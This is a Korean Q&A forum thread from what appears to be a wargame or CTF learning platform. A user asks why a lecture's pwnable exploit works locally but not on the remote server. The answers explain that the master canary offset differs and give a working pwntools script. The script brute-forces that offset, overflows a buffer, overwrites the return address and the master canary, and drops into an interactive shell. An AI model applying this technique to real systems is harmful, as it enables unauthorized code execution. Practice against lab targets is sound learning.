로컬에서는 되는데 서버에서 안됩니다 ㅠ
로컬환경 ubuntu 22.04로 서버와 동일합니다.
혹시몰라 강의 예제코드 복붙해서 실행시켜봤는데도 (process() 만 remote() 로 변경해서요) 안됩니다...
이유가 있을까요?
#pwnable
작성자 정보
답변
2
wyv3rn
무플 방지 위원회장
마스터 카나리까지 거리가 로컬과 리모트에서 조금 다를 수 있습니다 ㅎ
연님
답변 등록: 1
n = 0x120
while n<0x1000:
p = remote("host3.dreamhack.games", 10514)
payload = b'A'*0x118 # buf + DUMMY + SFP
payload += p64(giveshell) # RET
payload += b'A'*(n-len(payload))
payload += p64(0x404f80-0x972) # valid address for fs:0x10 + 0x972
payload += b'B'*0x10 # DUMMY
payload += b'A'*8 # Master Canary
bufsize = len(payload) // 8
p.sendlineafter("Size: ", str(bufsize))
p.sendafter("Data: ", payload)
try:
p.sendline("ls")
if b'smashing' in p.recv(100):
raise Exception()
except:
print("n: {} failed. sorry...".format(n))
n += 8
continue
p.interactive()